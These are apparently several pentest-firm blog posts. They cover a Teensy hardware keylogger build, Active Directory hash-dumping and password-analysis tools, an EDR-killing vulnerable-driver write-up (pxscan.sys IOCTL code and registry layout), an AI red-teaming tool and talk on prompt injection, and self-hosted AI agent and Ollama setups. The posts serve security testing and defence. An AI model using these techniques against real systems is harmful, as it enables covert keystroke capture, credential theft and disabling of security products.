When it comes to physical pentesting, sometimes a few moments of physical access can yield big results. Every hacker usually has a plethora of various tools and gadgets, and I’m no different. But something I’ve always loved is creating my own stuff. Whether it’s writing my own stealthy C2 dropper for remote access, creating my own BYOVD exploit, or diving into the world of hardware, there is just something to be said about creating your own stuff.

In this article, we will build a hardware keylogger that saves keystrokes to an SD card. The total build price will be about $70. You may be thinking, “can’t I just buy a keylogger for less money that is more discreet and has more features?“ Why yes, yes you can. But where is the fun in that?!

The first order of business is picking the microcontroller to use. The board needs to be able to act as both a USB host and a USB device. There are a few different options, but I ended up going with a Teensy 4.1 due to its size, power, and available libraries. The complete build list and requirements are as follows:

Hardware

• Teensy 4.1 - https://www.amazon.com/dp/B088JY7P2H

• 128 GB micro SD card - https://www.amazon.com/dp/B08TJRVWV1

• USB A to Micro USB cable - https://www.amazon.com/dp/B0719H12WD

• Female USB A cable - https://www.amazon.com/dp/B06Y5KZC9W

Software

• Arduino IDE - https://www.arduino.cc/en/software/

• Teensyduino - https://www.pjrc.com/teensy/td_download.html

• Teensy keylogger ino file - https://github.com/shellntel/teensy_keylogger

You can view detailed information on Teensy 4.1 here, but here is the pinout for reference:

https://www.pjrc.com/teensy/card11b_rev4_web.pdf

The first step will be soldering pins to the board for the female USB host cable and inserting the SD card.

Next, we’ll open up teensy_logger.ino in Arduino IDE and connect the micro USB to the Teensy board and the other end to the computer.

Under Boards Manager, ensure that Teensy is installed.

Next, under Library Manager, install “Keyboard”. This will allow the Teensy board to send keystrokes to the computer.

Next, navigate to Sketch → Include Library and select USBHost_t36, SD, and SPI.

Now, moving on to the teensy_logger.ino file. I created this based on the KeyboardForward.ino example file in the USBHost_t36 library. I added logic to save keystrokes to the SD card before forwarding them, and removed a lot of unnecessary/unused code. I also added a <BACKSPACE> entry when the backspace key is pressed for better logging.

If you want to add additional functionality or test keystroke capture, ensure that you uncomment the #define DEBUG line as well as select “Serial + Keyboard + Mouse + Joystick“ under Tools → USB Type. This will ensure that the keyboard forwarding functionality is working while still enabling Serial communication to see debugging output. After connecting a keyboard to the female USB host cable, you can connect to the Serial Monitor and view the output.

Once you are finished with any modifications or testing, set the USB Type to “Keyboard” and upload the code to the board.

Now, to test everything, connect your keyboard to the female USB connector, and connect the Teensy's USB cable to your PC. The computer should recognize it as a keyboard. After entering some keystrokes, pull the SD card from the Teensy and read the contents. There should be a keystrokes.log file containing the captured keystrokes!

Now let’s talk about the enclosure. One option is you could create a sleek, inconspicuous case with a 3D printer. However, I don’t own or have access to one. So instead, I decided to peruse the aisles of my local hardware store looking for the next best option.

What I settled on was some 1/2” conduit and two 1/2” adapters.

The conduit fits the Teensy perfectly, is discreet enough, and at about $6, I consider it pretty not bad!

Finished product:

Thanks for reading, and remember, if you didn’t build it yourself, it’s not really yours!

I was fortunate to be selected as a speaker at the Mile High (Denver) Wild West Hackin’ Fest 2026 and this blog coincides with my talk this afternoon. I’ll be releasing Hash Master 1000 version 2.0 (free), a project I originally built because I was tired of stitching together scripts, spreadsheets, and screenshots during Active Directory password assessments. 

Our industry has excellent password cracking tools. Hashcat is phenomenal, and with the right hardware it can produce incredible results. Where things tend to fall apart is everything that comes after cracking. Analysis is often shallow, reporting is inconsistent, and historical context is usually missing altogether. Too many assessments stop at “top passwords” and never dig into how users actually choose passwords, where systemic issues exist, or how environments change over time. Hash Master 1000 was built to close that gap.

Hash Master 1000: Step 1 - Import Source Files

Hash Master 1000 is Active Directory focused and designed around how real AD password assessments are performed. It ingests pwdump, VSS, DCSync, or enriched ADD (SynerComm’s new Active Directory Dumper format) data along with a hashcat potfile and turns them into structured, meaningful analysis. Policy failures, password reuse, weak patterns, dictionary words, repeating substrings, common pitfalls and bad practices, it’s all there, and it’s all designed to be explored and exported. 

Policy Violation: Accounts Failing Minimum Password Length

What’s New in Version 2.0

Version 2.0 significantly expands that capability. Session management allows assessments to be saved, restored, and compared. Trend analysis makes it possible to show whether an organization is improving or regressing over time. Kerberoast and AS-REP exposure analysis are integrated directly into the workflow, prioritizing accounts based on real operational risk instead of just theoretical vulnerability.

Quickly spot at risk privileged accounts with reused and cracked passwords, as well as accounts storing weak LM hashes.

A new password history analysis even identifies and highlights predictable rotation patterns detected in account passwords and hashes. 

Password predictability shows how easily some user’s next password could be guessed

Perhaps the most helpful new feature is the ability to anonymously compare your uncracked NT hashes against the current Have I Been Pwned database of breached passwords. This is just one of several analysis reports than can be run without the need for cracking. 

Anonymously compare NT hashes to Have I Been Pwned

A bleeding edge new feature in v2.0 is Advanced AI Analysis (AAIA). This feature is intentionally experimental, but it is already proving useful. Using local Ollama models, Hash Master 1000 can assist with pattern recognition, risk summarization, and narrative generation. Everything runs on infrastructure you control, and the output is designed to support analysts, not replace them. It’s clear that AI will play a significant role in how we analyze and report on password data going forward, and this is an early but practical step in that direction. 

Screenshot: Hash Master 1000 - Report Sections

Screenshot: Hash Master 1000 - Advanced AI Analysis

Real AI Insights

One of the more interesting things I’ve observed while using Advanced AI Analysis is how quickly it can surface context that isn’t obvious from charts alone. In several assessments, I’ve asked AI to infer the likely industry, geographic region, or even the name of the organization based solely on cracked passwords. Users gravitate toward what’s familiar, internal project names, business terms, city names, regional sports teams, and cultural references all leak through in password choices. In more than one case, AI was able to make surprisingly accurate guesses about a company’s name, location, or line of business without being given any external information. 

Another practical insight has been how limited English-only dictionary cracking really is for many environments. AI has helped identify names, words, and concepts embedded in passwords that don’t appear in standard English wordlists, terms rooted in other languages, cultures, and naming conventions. That recognition has directly influenced how we build custom wordlists and attack strategies, especially for organizations with a global footprint. These aren’t theoretical ideas, they’re insights that translate into better cracking methods and more accurate reporting. 

Hash Master 1000 is Free to Use

Hash Master 1000 is free to use by the security community and the source code is available. That wasn’t an afterthought. Tools shape how assessments are performed, and better tools lead to better testing. Making it public invites scrutiny, contributions, and improvement from people who are actually doing the work. 

At the end of the day, Hash Master 1000 isn’t trying to replace cracking rigs or magically crack more passwords. It’s a force multiplier. It helps turn raw cracking output into insight that testers can stand behind and organizations can act on. Hash Master 1000 may just be the Swiss Army knife for AD password and hash analysis. 

Where to Get Hash Master 1000

GitHub - shellntel/HashMaster1000: Password analysis, hash analysis and modern reporting of Windows NTLM hashes and cracked passwords for use by pentesters and security consultants.

Password analysis, hash analysis and modern reporting of Windows NTLM hashes and cracked passwords for use by pentesters and security consultants. - shellntel/HashMaster1000

github.com/shellntel/HashMaster1000

SynerComm Password & Hash Assessment Services

Password & Hash Assessment Services

SynerComm’s password and hash assessments identify weak credentials, insecure storage, and authentication risks to strengthen your security posture.

www.synercomm.com/password-hash-assessment-services

Password analysis is an integral part of what we do. Not only on the pentesting side, but also for our auditors, who perform comprehensive, detailed password analysis and compliance assessments. The problem our auditors faced was having to use multiple tools, which produced multiple files that had to be imported into Excel. To address these shortcomings with legacy tools, my manager created Hash Master 1000 and enlisted me to create the data collector for it. You can read about Hash Master 1000 in greater detail here.

The goal of Active Directory Dumper (ADD) was to create an easy to use, all in one tool to gather Active Directory domain information, including:

• Password and lockout policy

• Users

• Groups

• Trusts

• Computers

I chose to write it in C# so I can leverage the .NET Framework to simplify the end-user experience. That means:

• No credentials need to be entered on the command line (Windows authentication is used).

• No need to specify the domain name or domain controller (it automatically locates them).

• Does not need to be run on a Domain Controller; the user just needs to have the appropriate privileges.

The data ADD gathers is essentially the same data you would obtain from a tool such as ldapdomaindump, but compiled into a single JSON file for consumption by Hash Master. Each user and computer entry also contains the account's NTLM hash.

Example JSON file output:

ADD also extracts all password hashes (including historical hashes) from the domain and writes them to a pwdump file for cracking.

This tool has greatly simplified our data collection for password hashes and domain information. When paired with Hash Master 1000, the depth and analysis of our password hash assessments have improved dramatically. You can try out ActiveDirectoryDumper here:

GitHub - shellntel/ActiveDirectoryDumper

Contribute to shellntel/ActiveDirectoryDumper development by creating an account on GitHub.

github.com/shellntel/ActiveDirectoryDumper

I wanted a personal AI assistant that was always on, under my control, and actually useful. Not another cloud chatbot that forgets context or quietly ships prompts elsewhere.

That is how I ended up installing OpenClaw (formerly Moltbot/Clawdbot) on a Raspberry Pi 5 and controlling it through Discord.

The result was straightforward.
I built a small, single-property rental website for a family-owned Florida condo. Completely from scratch by chatting with my self-hosted AI agent through Discord.

Example of the website

The site is for my in-laws’ Florida condo, which they rent out as an investment property. It is a real website with real requirements, not a demo or throwaway project.

No Copilot.
No browser tabs.
Just messages, code, and a live website.

Raspberry Pi5 side

Why Moltbot on a Raspberry Pi 5?

Moltbot is a local-first automation agent, not just a chatbot. It runs continuously, connects to messaging platforms, executes tools and workflows, and maintains context across long conversations.

My Raspberry Pi 5 setup:

• Raspberry Pi 5 (8 GB)

• Official M.2 HAT

• 1 TB NVMe SSD

• Active cooling

At one point I asked Moltbot what hardware it was running on, and it reported its own runtime environment directly through Discord. That alone was a good reminder that this was not a cloud abstraction. It was a real machine, running locally, with real storage and a real operating system.

Moltbot reporting its own runtime environment through Discord direct messages.

The NVMe drive matters more than people expect. Agents generate logs, context, summaries, code, and intermediate artifacts. Running this on microSD would have been slower and less reliable long term.

Raspberry Pi5 top

The Pi 5 works well because it is:

• Always on and low power

• Fast enough for orchestration and automation

• Inexpensive compared to cloud compute

• Physically under my control

An always-on agent also means real security responsibility.

Raspberry Pi5 rear

Security First: Treat It Like Infrastructure

Before Moltbot ever touched a chat platform, I hardened the Pi the same way I would any production system.

Baseline hardening included:

• A dedicated non-sudo user

• SSH keys only

• Firewall default deny

• No exposed web UI

• Secrets stored outside the repository

• systemd sandboxing enabled

Moltbot never needed to be reachable from the internet. The chat platform handled the interface.

Around this time I saw a joke screenshot on X about an AI agent spending thousands of dollars while its owner was away. It was funny because it highlighted a real risk.

A joke screenshot I saw doom scrolling on X about what would happen if you gave an AI agent too much access.

In practice, Moltbot was locked down with strict least-privilege permissions.

Security Design Principles Applied

This deployment followed a small set of security principles that apply to any AI agent with execution capabilities, regardless of model choice or hosting environment.

• No inbound attack surface
  The agent does not expose HTTP services or APIs. All control traffic is outbound through an authenticated messaging platform.

• Least-privilege integrations
  The agent was granted access only to the single GitHub repository required to complete its task.

• No embedded secrets
  Credentials are stored outside the repository and scoped only to the services explicitly required.

• Human-in-the-loop for destructive actions
  The agent does not autonomously deploy or modify critical assets without explicit confirmation.

These principles are intentionally model-agnostic and apply whether the underlying model is local or cloud-hosted.

Least Privilege by Design

One of the most important decisions I made was limiting what Moltbot could access.

Moltbot can integrate with many external services such as Notion, 1Password, Gmail, and others. That power is exactly why access needs to be scoped carefully.

For this project, I granted Moltbot access to one thing only.
The GitHub repository for this website.

That was enough.

Moltbot could:

• read and write code

• create commits

• refactor files

• explain changes

Moltbot could not:

• access email

• read passwords

• touch financial accounts

• manage infrastructure

• interact with anything unrelated to the project

This was intentional.

If the agent did not need access to something to build the site, it did not get access.

Why This Matters More Than the Model Choice

This is the part many people get wrong.

The biggest risk with AI agents is not which model you use.
It is what you allow the agent to touch.

By starting with:

• A single GitHub repository

• No credentials embedded in the project or repository

• No write access to anything else

You dramatically reduced the blast radius of any mistake, bug, or prompt injection.

You can always add integrations later.
You cannot easily undo leaked credentials.

The safest AI agent is not the smartest one. It is the one with the smallest set of permissions.

How I Actually Used Discord

I did not set up multiple Discord channels or a complex server structure.

Instead, I used direct messages with the Moltbot Discord bot.

This turned out to be simpler and more effective than managing channels.

First direct message conversation with Moltbot after bringing the Discord bot online. No web UI, no dashboard, just chat.

Why DMs worked well:

• Only I could talk to the agent

• No risk of other users injecting prompts

• No need to manage permissions or roles

• A clean, uninterrupted conversation history

From Moltbot’s perspective, a DM is just another message stream. From my perspective, it felt like chatting directly with a developer.

Creating and Locking Down the Discord Bot

I created a Discord application, added a bot, and only granted the permissions it actually needed:

• Read messages

• Send messages

• Read message history

No administrator access and no server management permissions.

The bot token is stored only in an environment file on the Raspberry Pi and never committed to code.

From a security standpoint, Discord became a trusted outbound control plane rather than an exposed service.

Why Discord Beats a Web UI

This was one of the more surprising outcomes.

Using Discord instead of a web dashboard:

• Eliminates exposed HTTP services

• Avoids authentication and session bugs

• Leverages Discord’s MFA and device security

• Provides persistent, searchable history

The Pi only makes outbound connections. Nothing listens on the internet.

Building a Website Entirely Through Chat

Once everything was connected, development became conversational.

I built a real website for a family-owned rental property with actual production requirements. This was not a test project or an example. It needed to look professional, load quickly, work on mobile, and clearly present a real investment property to potential renters.

Development happened through messages such as:

• Create the project structure

• Design the homepage

• Improve mobile responsiveness

• Refactor this section

• Explain what changed

Moltbot wrote files, modified code, and summarized changes back into Discord.

For most of the project, I rarely opened a code editor.

Local Models vs Cloud Models: The Reality

I also experimented with running Moltbot against local models.

Local Model Setup

• LM Studio

• Meta Llama 3

• Workstation hardware:

  • 64 GB DDR5

  • NVIDIA RTX 4080 Super

On paper, this should have been more than sufficient.

In practice, the experience was not there yet.

Where local models fell short:

• Weaker reasoning for non-trivial refactors

• Less reliable long-context behavior

• Slower iteration on complex tasks

• More manual correction required

My original plan was to use the local model as a fallback when I ran out of Claude credits. After enough real work, I changed course.

Why I Pay for Claude Instead

I ended up paying $100 per month for Claude because:

• Output quality is consistently higher

• Reasoning holds up on real projects

• Less time spent correcting or re-prompting

• Faster overall development, even accounting for cost

The cost is real, but so is the time saved.

For primary development work, Claude simply performs better.

The Hybrid Model: Where This Is Going

That does not mean local models are useless.

My current approach is:

• Primary agent using a higher-quality cloud model like Claude

• Sub-agents using local models for:

  • summarization

  • linting

  • preprocessing

  • small refactors

  • background tasks

This keeps costs reasonable while still benefiting from local compute, privacy-preserving tasks, and always-available fallback agents.

Moltbot makes this kind of multi-agent architecture practical.

Messaging Platforms: Discord vs More Secure Options

Discord worked well for this project because:

• I already had a private server ready

• The Raspberry Pi 5 was already available

• Setup was fast and frictionless

That said, Discord is not the most secure messaging platform.

If I were starting from scratch and had the budget, I would seriously consider a Mac mini instead.

A Mac mini opens up better options:

• iMessage

• Signal

• Telegram

• Other end to end encrypted platforms (meshtastic would be cool)

Using a Mac mini as the always-on agent host would allow Moltbot to interface with more secure messaging channels, especially for sensitive automation.

In this case, the Raspberry Pi 5 was already on hand, and Discord was already set up. It made sense to move fast and prove the concept.

How to Reproduce This Securely

A technically competent reader could replicate this setup by following these high-level steps:

1. Deploy the agent on a dedicated, non-privileged host

2. Disable all inbound network services

3. Select a single messaging platform as the control plane

4. Grant the agent access to only one scoped resource, such as a single GitHub repository

5. Require explicit approval for any action with side effects

Exact commands and tooling will vary, but the security boundaries should not.

Writing Code While You Sleep, With Guardrails

I routinely send tasks like:

Then I log off.

By the next morning:

• Changes are ready

• A summary is waiting

• Nothing destructive happened without approval

The key is constraints:

• Limited permissions

• Scoped tools

• Explicit confirmation for risky actions

Think of Moltbot as a junior developer that never sleeps and still follows rules.

Lessons Learned

1. Local AI agents feel fundamentally different than chatbots

2. Security matters more when AI can act

3. Discord direct messages work extremely well as a control interface

4. NVMe storage on the Pi makes a real difference

5. Local models are not yet ready to be the primary reasoning engine

6. Hybrid agent architectures are likely the future

Final Thoughts

Running Moltbot on a Raspberry Pi 5 with an NVMe drive and controlling it through Discord direct messages turned AI into personal infrastructure.

It helped me build a real website safely, asynchronously, and on hardware I control, while still relying on cloud models where they clearly outperform local ones.

If I were doing this again with more budget, I would strongly consider a Mac mini for tighter integration with more secure messaging platforms. For this project, the Pi and Discord were already available, and they worked extremely well.

And yes, this post itself was refined using the same setup.

Stay safe out there topside and I wish you good luck finding the bobcat blueprint in Arc Raiders.

@TheL0singEdge

This post is about an internal tool that Claude and I have been building called CASA (Continuous AI Security Assessment). CASA is a work in progress and will remain private for now, with no current plan for release or open-sourcing.

The goal of this post is to document why CASA exists, how it’s structured today, what it’s good at finding, what it’s not good at, and what I learned building it. If you’re interested in testing AI systems from an offensive security perspective, this should give you enough detail to understand the approach and build something similar on your own.

Why CASA Exists

Most AI testing today happens in chat interfaces. That works for demos, but it breaks down quickly for security testing. It’s slow, non-repeatable, and makes it difficult to reason about how a model’s behavior changes over time.

I wanted something closer to how we test traditional applications:

• repeatable inputs

• observable outputs

• the ability to rerun tests and compare behavior

• minimal reliance on manual prompt typing

CASA started as a simple CLI tool that sent prompts programmatically and logged responses. Everything else grew out of that core loop.

Running a scan from the command line

High-Level Architecture

At a high level, CASA has three main components:

• Request Engine
  Responsible for sending structured prompts and payloads to target models.

• Response Analysis Layer
  Identifies security-relevant behavior and inconsistencies in responses.

• Storage Layer
  Keeps test runs separated by model, configuration, or scenario so behavior can be compared across runs.

CASA is CLI-first, but it does have a UI. I use the CLI for most testing and iteration, and the frontend is there for visibility, review, and comparing runs.

High-level CASA architecture. The CLI runs tests, the backend orchestrates requests and analysis, adapters talk to cloud and local models, and results are stored so behavior can be reviewed and compared through the UI.

What CASA Is Good At

CASA works best when prompts are treated like payloads rather than conversations.

It is particularly effective at identifying:

• over-disclosure in responses

• inconsistent refusal behavior across runs

• safety logic that weakens after warm-up prompts

• models that become more permissive over time

• unexpected tool usage

• differences in behavior between models given the same input

I’ve used CASA for internal testing, bug-bounty-style exploration, and working through AI-focused exercises similar to those found in Burp Web Academy. The biggest benefit is speed. I can test many variations of the same idea quickly, rerun payloads, and compare outputs without relying on gut feel.

Bulk scanning options

Scan automation

Running a scan

Scan results

What CASA Is Not Good At

CASA does not replace manual testing.

It struggles with:

• nuanced intent

• subtle social engineering

• long conversational attacks that require context buildup

• judging real-world impact without human review

It is also not designed for production monitoring. There is no alerting, dashboarding, or enforcement logic. CASA exists to explore behavior, not to prevent it.

These limitations are intentional. Trying to solve everything at once would have killed the project early.

Early Lessons Learned

A few things became obvious very quickly:

• treating prompts as test cases is far more useful than treating them as chats

• observability matters more than architecture early on

• inconsistent model behavior is often more interesting than consistent failure

• automation finds patterns faster, but still needs human interpretation

One unexpected outcome was how often models behaved differently after multiple runs. Subtle changes in permissiveness were much easier to spot when responses were logged and reviewed side by side.

If You Wanted to Build Something Similar

If you’re thinking about building your own version of CASA, start smaller than you think.

You only need:

• a way to send prompts programmatically

• a way to store responses

• a way to compare outputs across runs

Even a basic script that sends the same payload to multiple models and logs the responses will surface interesting behavior. Most of CASA’s complexity came later, after the core loop was already useful.

If I were starting over, I would focus less on framework design and more on making changes in behavior easy to see.

Current State and Future Direction

CASA is still evolving. Multi-tenant support needs work. The storage layer has been rewritten more than once. Some early ideas turned out to be dead ends.

That’s fine.

Right now, CASA does one thing well: it provides a repeatable way to explore how AI systems fail. As the ecosystem matures, I expect tools like this to become more common. For now, CASA remains a private internal tool, but documenting the approach felt worthwhile.

Current to-do list

That’s all for now, keep an eye out for a follow-up blog, and keep on trucking 💪.

@TheL0singEdge

I recently got into Bring Your Own Vulnerable Driver (BYOVD) exploits and hunting for vulnerable drivers that could be used to terminate a process. These are powerful exploits that can be used to kill security products such as AV and EDR solutions.

These drivers are legitimate software and they are signed by the vendor, so they are trusted by the machine on which they are loaded. Problems arise when the driver does not validate IOCTL code handlers properly. This could allow for code execution in the kernel from user-mode.

In order to find a process killing candidate, the driver needs to import ZwTerminateProcess and ZwOpenProcess. There are tons of vulnerable drivers out there and loldrivers is a great resource for exploring them, but many of these are already blocked my Microsoft making them difficult to load, or they are already flagged as malicious. So how do you find your own?

The two software domains that come to mind for programs that are likely to implement these functions are antivirus (AV) products and anti-cheat software (commonly used by gaming engines). The barrier to entry is lower for the former, so that is where I focused my attention.

I used ChatGPT to create a list of some lesser-known antivirus products that support process termination. I also asked it to find some that have not been updated for a while. Then, I would go through the list, download the software in a Windows 11 VM, and locate the drivers used by the antivirus. Using PE-bear, I would look at the driver’s Import Address Table (IAT) and see if it is importing ZwTerminateProcess and ZwOpenProcess.

Not every antivirus driver imports these functions, and even when you find one, it doesn’t automatically mean it’s a vulnerable driver. It means it is a potential candidate to be a vulnerable driver, but further investigation is necessary.

Repeating this process for several AV’s is what eventually led me to find Prevx.

Prevx got acquired by Webroot in 2010 and has since discontinued its Prevx AV product line. However, you can still find the software available for download.

Prevx uses three drivers, pxscan.sys, pxkbf.sys, and pxrts.sys. The one that imports both ZwTerminateProcess and ZwOpenProcess is pxscan.sys so that is the winner.

Opening up pxscan.sys with IDA Free (too poor for IDA Pro 😭) to take a closer look, there are a couple of things we need to identify:

• Device Name

• MajorFunctions of the driver

• How and where ZwTerminateProcess is being called

• IOCTL code to get to ZwTerminateProcess

Fortunately, finding the Device Name on this driver is straightforward and we can see that it is pxscan in the DriverEntry.

The DriverObject passed in is a pointer to a DRIVER_OBJECT structure. This struct contains important info about the driver. The one we are most interested in is MajorFunction. This is an array of function pointers to dispatch routines that specify what operations the driver supports. Like Create, Read, Write, etc. The indices are prefixed with IRP_MJ_ . You can view the full list of IRP major function codes here.

In order to communicate with the driver, we need to call DeviceIoControl from user-mode. This corresponds to the IRP, IRP_MJ_DEVICE_CONTROL. The index number can be found online, or by checking the wdm.h file on your local machine. Usually somewhere in:

C:\Program Files (x86)\Windows Kits\10\Include\

We can see the value is 0×0e which is 14.

Looking back in IDA Free, we can see the dispatch routine for MajorFunction[14] is sub_12670, which I’ll rename to DeviceControlDispatch.

All MajorFunctions have the same function prototype, which looks like the following:

NTSTATUS SomeMajorFunction(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

So I’ll rename the parameters in DeviceControlDispatch to match.

The last thing I’ll change is the IOCTL code. Looking at the IO_STACK_LOCATION structure, we can see it’s a union, so we’ll need to select the correct one.

I’ll also rename the variable accordingly.

Now, we can find ZwTerminateProcess in the imports section of IDA Free and see where that function is called by viewing cross references to it.

The function that calls ZwTerminateProcess is sub_11480. So now we view cross references where that function is called and so on and so on until we land in the DeviceControlDispatch dispatch routine.

Eventually, we bubble up from sub_12350 which is called in the else block of if (v10) in the DeviceControlDispatch function.

In order to land in this else block, the IOCTL code must be 0x22E044.

I will rename the identified function, sub_12350, to TargetFunc.

Now we know the ZwTerminateProcess function call bubbles up to the dispatch routine for IRP_MJ_DEVICE_CONTROL, and we see what IOCTL code to send to access it. Now we need to dig into TargetFunc to understand what function calls it’s making and how ZwTerminateProcess eventually gets called.

TargetFunc eventually calls sub_11CB0 which performs some interesting operations.

sub_12620 gets called twice. The function takes a registry path and a buffer, queries the Windows registry for the buffer's value, and returns a value. In the first call, it queries the value of c_rem at the path:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\pxscan\Files

Since sub_12620 performs a Windows registry lookup, I will rename it to RegistryQuery.

The return value ( v3 ) returns a string representation of an integer, gets converted into an int, and is assigned to the variable Value.

Then, there is a variable v8 that gets initialized to 0 and a while loop that iterates Value times where the sub_12620 gets called a second time. My spidey senses told me that c_rem could be “files remaining” since the while loop iterates c_rem times and rem strongly aligns with “remaining”.

Looking at the contents of the while loop, we can see that the unicode string buffer passed to the RegistryQuery function is set to v8 which is 0. A new unicode string is created from the output value v5 and another function is called sub_11AF0 that takes in the unicode string as a parameter.

To recap:

The c_rem entry at the registry path KEY_LOCAL_MACHINE\System\CurrentControlSet\Services\pxscan\Files is a string representation of an integer value, likely indicating the number of files remaining. Aka, the number of processes to kill.

At that same registry path, there is another entry “0” that has a string value of v5. This is very likely a file path. The “0” entry increments based on the count of c_rem. E.g., if c_rem is “2”, you would expect to have registry entries “0” and “1”.

The function call sub_11AF0 does some string and path validation, and calls sub_11480 which is the function that terminates the process. This function takes the file path and the length as input.

Towards the bottom of the function, we can see the call to ZwTerminateProcess where the process gets terminated.

Putting everything together, we’ve learned that the registry entries should look like the following to terminate Windows Defender, for example.

Then, we can send IOCTL code 0×22E044 to the driver to terminate the processes.

I created a PoC to automate the creation of the registry key and to send the IOCTL code to the driver.

This vulnerability has been tracked as CVE-2025-60349. Full code is available here:

GitHub - djackreuter/CVE-2025-60349: CVE-2025-60349: Pxscan Arbitrary Process Termination

CVE-2025-60349: Pxscan Arbitrary Process Termination - djackreuter/CVE-2025-60349

github.com/djackreuter/CVE-2025-60349

Thanks for reading!

Introduction

I recently had the pleasure of presenting at IT Summit 2025 | SynerComm, where I discussed the AI attack surface and what every security team should be testing (slides). The talk initially focused on the title topic, but as I delved deeper, it naturally transitioned into what I am using AI for and what excites me as a penetration tester. This blog post is a summary of my talk, and in a follow-up blog, I'll share more about my AI usage and excitement.

The AI Attack Surface: What Every Security Team Should Be Testing

In today's rapidly evolving technological landscape, AI has become an integral part of enterprise software. However, with its widespread adoption comes a new set of security challenges that every security team must address. In this blog post, we'll explore the AI attack surface and discuss what every security team should be testing to ensure robust AI security.

Understanding the AI Attack Surface

The AI attack surface encompasses various components, including chatbots, AI wrappers, and enterprise software integrations. Continuous testing is crucial to keep pace with the evolving threats. Traditional point-in-time reviews are no longer sufficient; instead, testing should be built into your CI/CD pipeline to ensure ongoing security.

Important Memes

Claude —dangerously-skip-permissions (yolo mode)

A sticker from DEF CON 33 that I wish I had

Common AI Vulnerabilities and Testing Methodologies

AI systems are susceptible to several vulnerabilities, including direct and indirect prompt injections, over-permissive agents, and attack chaining. Traditional scanners often miss these logic-layer vulnerabilities, making it essential to employ both in-house testing and third-party assessments.

Practical AI Security Testing

To effectively test AI systems, security teams should focus on the following areas:

• Prompt Injection: Hidden instructions in user input or documents can lead to unintended actions.

• Over-Permissive Functions: AI agents with excessive permissions can execute destructive commands.

• Insecure Output Handling: Unsafe use of AI output in other systems can result in security breaches.

• Supply Chain Vulnerabilities: Poisoned data sources or dependencies can compromise AI models.

AI-Specific Threat Models and Frameworks

Frameworks like MITRE ATLAS and the OWASP GenAI Red Team Guide provide structured approaches to evaluating AI vulnerabilities. These frameworks help defenders build AI-specific threat models and align testing with known adversarial behaviors.

Continuous AI Security Testing

Continuous testing is essential to keep up with the dynamic nature of AI threats. Tools like Burp AI, nVidia’s Garak, and Meta’s PurpleLlama offer automated scanning and adversarial testing capabilities. However, manual and continuous red teaming remains irreplaceable for comprehensive security.

Conclusion

AI is transforming the way we interact with technology, but it also introduces new security risks. By integrating continuous AI security testing into your CI/CD pipeline and leveraging both in-house and third-party assessments, you can safeguard your AI systems against emerging threats. Start small by testing your chatbots, RAG apps, and agents now, and build a robust AI-specific security program to stay ahead of the curve.

Hack the planet chatbots!

@TheL0singEdge

Table of Contents

• Objectives and Requirements

• Ollama Introduction

• Performance

• Remote Integration

• Next Steps

• Conclusion and Considerations

AI has surely been at the forefront of discussions, articles, new technology, and everywhere else you turn. It’s almost impossible to go a day without hearing about something AI. Being in the security industry, we are tasked with staying current on answering the question “Is this safe?” My personal stance has been to only leverage these public tools, ChatGPT, Claude Code, Cursor, etc. with information that you deem to be non-sensitive or non-confidential. Personally, I think that any SaaS or non-local deployment should be heavily evaluated prior to trusting it with your data. In today’s world, this continues to get more difficult. Regardless, AI is interesting and appears to have some practical applications. I would love to safely leverage this technology on sensitive data sets.

Thankfully, there are a solid number of reputable solutions for deploying AI in-house and, getting a running, usable utility takes no time at all.

Objectives and Requirements

• Build a local AI Instance.

• Provide a seamless way to integrate Local AI into the team’s workflow.

• Trust the underlying software and infrastructure with sensitive data workloads.

• AI is resource-intensive, more particularly, RAM determines the size of models (number of parameters) you’re able to run.

Hardware

To keep this short, I’m not going to dive too deep into hardware, but we bounced between several options before landing on our solution.

I considered our options to be the following:

For the sake of availability and the ease of getting up‑and‑running (no clustering needed for an MVP), we went with the Mac Studio. Needless to say, this thing is a monster.

Mac Studio hardware specs

Ollama Introduction

You will need some way to interact with the LLMs. Typically, this is done through an LLM Inference tool. Ollama happened to be the first tool I personally started playing with and it made it trivial to pull LLMs and start interacting with them.

After downloading and installing the application, you will have an Ollama service running. Pop open a terminal and type ollama. You really only need to know three commands:

•  ollama pull <model>

•  ollama run <model>

•  ollama ps

Ollama help command

Performance

After getting Ollama up and running and waiting for some big LLMs to pull down, we were up and running. Storage is something you will need to consider but that’s typically an easy fix. Thankfully this machine has 4TB of storage.

Let’s pull down an LLM

ollama pull gpt-oss:20b

Now we can interact with the LLM

ollama run gpt-oss:20b “Provide a summary of the plot to Romeo and Juliet”

And it’s that easy.

Downloading gpt-oss:120b LLM

LLMs loaded on disk

I was pleasantly surprised that we were able to run DeepSeek with ease. Based on the numbers (deepseek-r1:671b = 404GB), I was not expecting. In order to save some keystrokes, I implemented a couple simple alias commands.

alias oll='ollama run llama3.1:70b'
alias olg='ollama run gpt-oss:120b'

oll "Write a detailed product review for a smartphone, including sections on design, performance, camera, battery life, and overall conclusion. Make it approximately 500 words."

Overall, in our testing, 15 Tokens per second is very usable. Especially when its part of a workflow and you’re just waiting for a process or job to finish. However, the speed and quality of the new gpt-oss models have been impressive.

Remote Integration

Running things locally is great and definitely usable, but we need something we can easily integrate with workflows and allow multiple users quick and easy access. Thankfully Ollama makes it extremely easy to set up remote clients.

Find your way to Ollama’s settings and enable remote access.

Setting to expose the Ollama API on port 11434

This opens port 11434 to your local network so ensure you consider this as Ollama does not provide authorization for the API.

In order to access the API, install Ollama on your client device that has access to the local network and set your environment variable OLLAMA_HOST=<REMOTEIP>:11434.

Running Ollama locally

Next Steps

So what do we do now? We have the ability to remotely access AI from our workstations, all while keeping data processing on trusted local hardware. It’s as simple as opening a terminal and typing ollama run gpt-oss:120b “Summarize the following code snippet…”. But this is essentially a glorified google search that’s local. Cool, but we can do better. Ollama has a nice feature where you can create model files and call the model file instead of the raw LLM. This allows us to quickly start playing with building different prompts.

For example lets build an “Agent” that will QA documents. Thankfully a coworker of mine who shall remain unnamed created a tool doing just this but for use with ChatGPT. Let’s use that system prompt.

Create a model File. (Note this is not the complete SYSTEM prompt but still provides decent output.)

FROM gpt-oss:120b
# sets the temperature to 1 [higher is more creative, lower is more coherent]
PARAMETER temperature 0
# sets the context window size to 4096, this controls how many tokens the LLM can use as context to generate the next token
PARAMETER num_ctx 4096

# sets a custom system message to specify the behavior of the chat assistant
